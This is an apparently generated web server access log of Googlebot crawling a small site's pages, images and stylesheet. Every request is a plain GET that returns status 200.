66.249.79.177 - - [15/Jul/2025:14:03:41 ] "GET /products/all HTTP/1.1" 200 6157 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:41 web-app[3175]: 66.249.79.124 - - [15/Jul/2025:14:03:41 ] "GET /blog/post-102 HTTP/1.1" 200 12801 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:42 web-app[3105]: 66.249.79.48 - - [15/Jul/2025:14:03:42 ] "GET /about-us HTTP/1.1" 200 14236 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:41 web-app[3067]: 66.249.79.166 - - [15/Jul/2025:14:03:41 ] "GET /products/all HTTP/1.1" 200 5352 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:40 web-app[3951]: 66.249.79.208 - - [15/Jul/2025:14:03:40 ] "GET /blog/post-101 HTTP/1.1" 200 12136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:43 web-app[3069]: 66.249.79.93 - - [15/Jul/2025:14:03:43 ] "GET /blog/post-101 HTTP/1.1" 200 14038 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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14:03:42 web-app[3358]: 66.249.79.27 - - [15/Jul/2025:14:03:42 ] "GET /products/all HTTP/1.1" 200 7777 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:40 web-app[3750]: 66.249.79.190 - - [15/Jul/2025:14:03:40 ] "GET /blog/post-102 HTTP/1.1" 200 11298 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:41 web-app[3630]: 66.249.79.233 - - [15/Jul/2025:14:03:41 ] "GET /about-us HTTP/1.1" 200 10498 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:40 web-app[3152]: 66.249.79.191 - - [15/Jul/2025:14:03:40 ] "GET /user/profile/99 HTTP/1.1" 200 5944 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:43 web-app[3725]: 66.249.79.106 - - [15/Jul/2025:14:03:43 ] "GET /static/style.css HTTP/1.1" 200 10341 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:42 web-app[3323]: 66.249.79.30 - - [15/Jul/2025:14:03:42 ] "GET /user/profile/99 HTTP/1.1" 200 6017 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:40 web-app[3941]: 66.249.79.63 - - [15/Jul/2025:14:03:40 ] "GET /contact HTTP/1.1" 200 13780 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:43 web-app[3671]: 66.249.79.114 - - [15/Jul/2025:14:03:43 ] "GET /blog/post-102 HTTP/1.1" 200 14444 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:42 web-app[3563]: 66.249.79.53 - - [15/Jul/2025:14:03:42 ] "GET /blog/post-102 HTTP/1.1" 200 9679 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:40 web-app[3301]: 66.249.79.194 - - [15/Jul/2025:14:03:40 ] "GET /images/logo.png HTTP/1.1" 200 9918 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:41 web-app[3917]: 66.249.79.23 - - [15/Jul/2025:14:03:41 ] "GET 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"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:44 web-app[3065]: 66.249.79.119 - - [15/Jul/2025:14:03:44 ] "GET /images/logo.png HTTP/1.1" 200 9614 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:42 web-app[3637]: 66.249.79.131 - - [15/Jul/2025:14:03:42 ] "GET /help/faq HTTP/1.1" 200 12402 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:40 web-app[3871]: 66.249.79.241 - - [15/Jul/2025:14:03:40 ] "GET /help/faq HTTP/1.1" 200 14777 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:44 web-app[3245]: 66.249.79.99 - - [15/Jul/2025:14:03:44 ] "GET /contact HTTP/1.1" 200 11887 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:45 web-app[3330]: 66.249.79.22 - - [15/Jul/2025:14:03:45 ] "GET /images/logo.png HTTP/1.1" 200 8335 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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web-app[3955]: 66.249.79.95 - - [15/Jul/2025:14:03:49 ] "GET /user/profile/99 HTTP/1.1" 200 9471 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:48 web-app[3289]: 66.249.79.64 - - [15/Jul/2025:14:03:48 ] "GET /blog/post-101 HTTP/1.1" 200 13326 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:48 web-app[3972]: 66.249.79.195 - - [15/Jul/2025:14:03:48 ] "GET /products/all HTTP/1.1" 200 10157 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:45 web-app[3978]: 66.249.79.239 - - [15/Jul/2025:14:03:45 ] "GET /blog/post-101 HTTP/1.1" 200 13703 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:47 web-app[3896]: 66.249.79.158 - - [15/Jul/2025:14:03:47 ] "GET /static/style.css HTTP/1.1" 200 5802 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:46 web-app[3391]: 66.249.79.74 - - [15/Jul/2025:14:03:46 ] "GET /products/all HTTP/1.1" 200 7093 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:46 web-app[3511]: 66.249.79.67 - - [15/Jul/2025:14:03:46 ] "GET /blog/post-101 HTTP/1.1" 200 5701 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:47 web-app[3104]: 66.249.79.143 - - [15/Jul/2025:14:03:47 ] "GET /blog/post-101 HTTP/1.1" 200 10134 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:49 web-app[3394]: 66.249.79.166 - - [15/Jul/2025:14:03:49 ] "GET /contact HTTP/1.1" 200 8390 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:49 web-app[3172]: 66.249.79.147 - - [15/Jul/2025:14:03:49 ] "GET /help/faq HTTP/1.1" 200 13887 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:45 web-app[3972]: 66.249.79.97 - - [15/Jul/2025:14:03:45 ] "GET / HTTP/1.1" 200 8988 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:48 web-app[3758]: 66.249.79.30 - - [15/Jul/2025:14:03:48 ] "GET /about-us HTTP/1.1" 200 12824 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:46 web-app[3699]: 66.249.79.145 - - [15/Jul/2025:14:03:46 ] "GET /products/all HTTP/1.1" 200 14502 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:48 web-app[3748]: 66.249.79.147 - - [15/Jul/2025:14:03:48 ] "GET /help/faq HTTP/1.1" 200 12794 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:47 web-app[3095]: 66.249.79.39 - - [15/Jul/2025:14:03:47 ] "GET /products/all HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:46 web-app[3538]: 66.249.79.65 - - [15/Jul/2025:14:03:46 ] "GET / HTTP/1.1" 200 8296 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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web-app[3840]: 66.249.79.125 - - [15/Jul/2025:14:03:52 ] "GET /blog/post-101 HTTP/1.1" 200 10544 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:50 web-app[3997]: 66.249.79.94 - - [15/Jul/2025:14:03:50 ] "GET /static/style.css HTTP/1.1" 200 8696 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:53 web-app[3211]: 66.249.79.170 - - [15/Jul/2025:14:03:53 ] "GET /images/logo.png HTTP/1.1" 200 6138 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:54 web-app[3593]: 66.249.79.167 - - [15/Jul/2025:14:03:54 ] "GET / HTTP/1.1" 200 7665 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:54 web-app[3947]: 66.249.79.68 - - [15/Jul/2025:14:03:54 ] "GET /static/style.css HTTP/1.1" 200 14331 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:52 web-app[3747]: 66.249.79.150 - - [15/Jul/2025:14:03:52 ] "GET /blog/post-102 HTTP/1.1" 200 8344 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:53 web-app[3713]: 66.249.79.199 - - [15/Jul/2025:14:03:53 ] "GET /blog/post-102 HTTP/1.1" 200 5125 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:50 web-app[3408]: 66.249.79.225 - - [15/Jul/2025:14:03:50 ] "GET /products/all HTTP/1.1" 200 5554 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:50 web-app[3947]: 66.249.79.123 - - [15/Jul/2025:14:03:50 ] "GET /blog/post-101 HTTP/1.1" 200 10778 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:53 web-app[3187]: 66.249.79.47 - - [15/Jul/2025:14:03:53 ] "GET /images/logo.png HTTP/1.1" 200 9629 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:52 web-app[3512]: 66.249.79.3 - - [15/Jul/2025:14:03:52 ] "GET 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"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:51 web-app[3155]: 66.249.79.166 - - [15/Jul/2025:14:03:51 ] "GET /products/all HTTP/1.1" 200 14365 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:51 web-app[3545]: 66.249.79.87 - - [15/Jul/2025:14:03:51 ] "GET / HTTP/1.1" 200 8276 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:52 web-app[3198]: 66.249.79.4 - - [15/Jul/2025:14:03:52 ] "GET /blog/post-101 HTTP/1.1" 200 14801 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:52 web-app[3461]: 66.249.79.29 - - [15/Jul/2025:14:03:52 ] "GET /user/profile/99 HTTP/1.1" 200 11660 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:53 web-app[3566]: 66.249.79.184 - - [15/Jul/2025:14:03:53 ] "GET /images/logo.png HTTP/1.1" 200 12559 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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web-app[3710]: 66.249.79.148 - - [15/Jul/2025:14:03:52 ] "GET /contact HTTP/1.1" 200 7690 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:53 web-app[3762]: 66.249.79.43 - - [15/Jul/2025:14:03:53 ] "GET / HTTP/1.1" 200 8384 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:50 web-app[3542]: 66.249.79.162 - - [15/Jul/2025:14:03:50 ] "GET /contact HTTP/1.1" 200 7013 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:54 web-app[3128]: 66.249.79.172 - - [15/Jul/2025:14:03:54 ] "GET /about-us HTTP/1.1" 200 9908 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:53 web-app[3018]: 66.249.79.207 - - [15/Jul/2025:14:03:53 ] "GET /user/profile/99 HTTP/1.1" 200 6683 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:54 web-app[3335]: 66.249.79.252 - - [15/Jul/2025:14:03:54 ] "GET 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(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:58 web-app[3692]: 66.249.79.154 - - [15/Jul/2025:14:03:58 ] "GET /static/style.css HTTP/1.1" 200 11581 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:58 web-app[3745]: 66.249.79.176 - - [15/Jul/2025:14:03:58 ] "GET /blog/post-102 HTTP/1.1" 200 10493 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:59 web-app[3835]: 66.249.79.36 - - [15/Jul/2025:14:03:59 ] "GET /products/all HTTP/1.1" 200 8073 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:55 web-app[3380]: 66.249.79.55 - - [15/Jul/2025:14:03:55 ] "GET /images/logo.png HTTP/1.1" 200 12028 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3868]: 66.249.79.101 - - [15/Jul/2025:14:03:57 ] "GET /blog/post-102 HTTP/1.1" 200 13402 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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15 14:03:59 web-app[3243]: 66.249.79.110 - - [15/Jul/2025:14:03:59 ] "GET / HTTP/1.1" 200 9138 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3281]: 66.249.79.94 - - [15/Jul/2025:14:03:56 ] "GET /help/faq HTTP/1.1" 200 10986 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3275]: 66.249.79.213 - - [15/Jul/2025:14:03:57 ] "GET /contact HTTP/1.1" 200 10192 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:55 web-app[3787]: 66.249.79.137 - - [15/Jul/2025:14:03:55 ] "GET /blog/post-102 HTTP/1.1" 200 11714 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3842]: 66.249.79.253 - - [15/Jul/2025:14:03:56 ] "GET /help/faq HTTP/1.1" 200 10759 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3558]: 66.249.79.179 - - [15/Jul/2025:14:03:57 ] "GET /about-us HTTP/1.1" 200 7402 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3826]: 66.249.79.199 - - [15/Jul/2025:14:03:56 ] "GET / HTTP/1.1" 200 13558 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3428]: 66.249.79.59 - - [15/Jul/2025:14:03:57 ] "GET /static/style.css HTTP/1.1" 200 9068 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3022]: 66.249.79.209 - - [15/Jul/2025:14:03:56 ] "GET /images/logo.png HTTP/1.1" 200 8690 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3118]: 66.249.79.154 - - [15/Jul/2025:14:03:57 ] "GET / HTTP/1.1" 200 6744 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3575]: 66.249.79.118 - - [15/Jul/2025:14:03:56 ] "GET /help/faq HTTP/1.1" 200 5903 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:58 web-app[3103]: 66.249.79.179 - - [15/Jul/2025:14:03:58 ] "GET /blog/post-102 HTTP/1.1" 200 10354 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3146]: 66.249.79.214 - - [15/Jul/2025:14:03:56 ] "GET /help/faq HTTP/1.1" 200 8537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:55 web-app[3172]: 66.249.79.128 - - [15/Jul/2025:14:03:55 ] "GET /products/all HTTP/1.1" 200 14258 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3701]: 66.249.79.58 - - [15/Jul/2025:14:03:57 ] "GET / HTTP/1.1" 200 6765 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3859]: 66.249.79.84 - - [15/Jul/2025:14:03:57 ] "GET /help/faq HTTP/1.1" 200 9874 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:58 web-app[3504]: 66.249.79.228 - - [15/Jul/2025:14:03:58 ] "GET /help/faq HTTP/1.1" 200 9947 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3343]: 66.249.79.111 - - [15/Jul/2025:14:03:56 ] "GET /blog/post-102 HTTP/1.1" 200 9440 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:58 web-app[3550]: 66.249.79.64 - - [15/Jul/2025:14:03:58 ] "GET /images/logo.png HTTP/1.1" 200 8209 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:59 web-app[3859]: 66.249.79.26 - - [15/Jul/2025:14:03:59 ] "GET /blog/post-102 HTTP/1.1" 200 8435 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3523]: 66.249.79.25 - - [15/Jul/2025:14:03:57 ] "GET /user/profile/99 HTTP/1.1" 200 5940 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:58 web-app[3809]: 66.249.79.218 - - [15/Jul/2025:14:03:58 ] "GET /user/profile/99 HTTP/1.1" 200 6437 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3375]: 66.249.79.210 - - [15/Jul/2025:14:03:57 ] "GET /static/style.css HTTP/1.1" 200 9271 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3254]: 66.249.79.202 - - [15/Jul/2025:14:03:57 ] "GET /contact HTTP/1.1" 200 14031 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:55 web-app[3721]: 66.249.79.28 - - [15/Jul/2025:14:03:55 ] "GET /contact HTTP/1.1" 200 13318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3349]: 66.249.79.18 - - [15/Jul/2025:14:03:57 ] "GET /products/all HTTP/1.1" 200 11299 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:57 web-app[3434]: 66.249.79.191 - - [15/Jul/2025:14:03:57 ] "GET /images/logo.png HTTP/1.1" 200 10029 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:03:56 web-app[3910]: 66.249.79.177 - - [15/Jul/2025:14:03:56 ] "GET /products/all HTTP/1.1" 200 14310 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:00 web-app[3183]: 66.249.79.138 - - [15/Jul/2025:14:04:00 ] "GET /images/logo.png HTTP/1.1" 200 6672 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:01 web-app[3523]: 66.249.79.172 - - [15/Jul/2025:14:04:01 ] "GET /static/style.css HTTP/1.1" 200 8082 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:01 web-app[3387]: 66.249.79.63 - - [15/Jul/2025:14:04:01 ] "GET /products/all HTTP/1.1" 200 6319 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:01 web-app[3824]: 66.249.79.4 - - [15/Jul/2025:14:04:01 ] "GET /help/faq HTTP/1.1" 200 12814 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3591]: 66.249.79.46 - - [15/Jul/2025:14:04:03 ] "GET /static/style.css HTTP/1.1" 200 9482 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3383]: 66.249.79.152 - - [15/Jul/2025:14:04:03 ] "GET /user/profile/99 HTTP/1.1" 200 10025 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:00 web-app[3153]: 66.249.79.240 - - [15/Jul/2025:14:04:00 ] "GET /products/all HTTP/1.1" 200 14999 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:01 web-app[3165]: 66.249.79.139 - - [15/Jul/2025:14:04:01 ] "GET /static/style.css HTTP/1.1" 200 13592 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3806]: 66.249.79.213 - - [15/Jul/2025:14:04:03 ] "GET /user/profile/99 HTTP/1.1" 200 13571 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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14:04:00 web-app[3723]: 66.249.79.183 - - [15/Jul/2025:14:04:00 ] "GET /about-us HTTP/1.1" 200 10133 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3706]: 66.249.79.140 - - [15/Jul/2025:14:04:03 ] "GET /about-us HTTP/1.1" 200 9730 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3836]: 66.249.79.104 - - [15/Jul/2025:14:04:03 ] "GET /about-us HTTP/1.1" 200 9858 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:04 web-app[3208]: 66.249.79.53 - - [15/Jul/2025:14:04:04 ] "GET /contact HTTP/1.1" 200 13541 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:00 web-app[3724]: 66.249.79.48 - - [15/Jul/2025:14:04:00 ] "GET /blog/post-102 HTTP/1.1" 200 10426 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:02 web-app[3478]: 66.249.79.90 - - [15/Jul/2025:14:04:02 ] "GET /help/faq HTTP/1.1" 200 7813 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:01 web-app[3982]: 66.249.79.18 - - [15/Jul/2025:14:04:01 ] "GET /user/profile/99 HTTP/1.1" 200 10252 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3375]: 66.249.79.202 - - [15/Jul/2025:14:04:03 ] "GET /products/all HTTP/1.1" 200 9808 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:02 web-app[3162]: 66.249.79.115 - - [15/Jul/2025:14:04:02 ] "GET /static/style.css HTTP/1.1" 200 7364 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3671]: 66.249.79.119 - - [15/Jul/2025:14:04:03 ] "GET /help/faq HTTP/1.1" 200 7784 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:01 web-app[3401]: 66.249.79.193 - - [15/Jul/2025:14:04:01 ] "GET /user/profile/99 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(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:04 web-app[3680]: 66.249.79.82 - - [15/Jul/2025:14:04:04 ] "GET / HTTP/1.1" 200 7262 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3248]: 66.249.79.15 - - [15/Jul/2025:14:04:03 ] "GET /blog/post-102 HTTP/1.1" 200 5474 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:02 web-app[3958]: 66.249.79.168 - - [15/Jul/2025:14:04:02 ] "GET /help/faq HTTP/1.1" 200 5630 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:01 web-app[3451]: 66.249.79.161 - - [15/Jul/2025:14:04:01 ] "GET /images/logo.png HTTP/1.1" 200 9786 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3337]: 66.249.79.252 - - [15/Jul/2025:14:04:03 ] "GET /user/profile/99 HTTP/1.1" 200 10435 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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14:04:01 web-app[3642]: 66.249.79.11 - - [15/Jul/2025:14:04:01 ] "GET /blog/post-102 HTTP/1.1" 200 12419 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:00 web-app[3307]: 66.249.79.87 - - [15/Jul/2025:14:04:00 ] "GET / HTTP/1.1" 200 5974 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:04 web-app[3270]: 66.249.79.235 - - [15/Jul/2025:14:04:04 ] "GET /products/all HTTP/1.1" 200 13384 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:04 web-app[3357]: 66.249.79.99 - - [15/Jul/2025:14:04:04 ] "GET /images/logo.png HTTP/1.1" 200 11639 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3099]: 66.249.79.169 - - [15/Jul/2025:14:04:03 ] "GET /products/all HTTP/1.1" 200 11014 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:03 web-app[3190]: 66.249.79.129 - - [15/Jul/2025:14:04:03 ] "GET / HTTP/1.1" 200 6985 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:06 web-app[3286]: 66.249.79.216 - - [15/Jul/2025:14:04:06 ] "GET /blog/post-101 HTTP/1.1" 200 8907 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:06 web-app[3653]: 66.249.79.89 - - [15/Jul/2025:14:04:06 ] "GET /images/logo.png HTTP/1.1" 200 11605 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:08 web-app[3444]: 66.249.79.109 - - [15/Jul/2025:14:04:08 ] "GET /contact HTTP/1.1" 200 14528 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:08 web-app[3470]: 66.249.79.177 - - [15/Jul/2025:14:04:08 ] "GET /products/all HTTP/1.1" 200 14110 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:08 web-app[3747]: 66.249.79.240 - - [15/Jul/2025:14:04:08 ] "GET /contact HTTP/1.1" 200 12379 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:05 web-app[3748]: 66.249.79.68 - - [15/Jul/2025:14:04:05 ] "GET /static/style.css HTTP/1.1" 200 5122 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:04:07 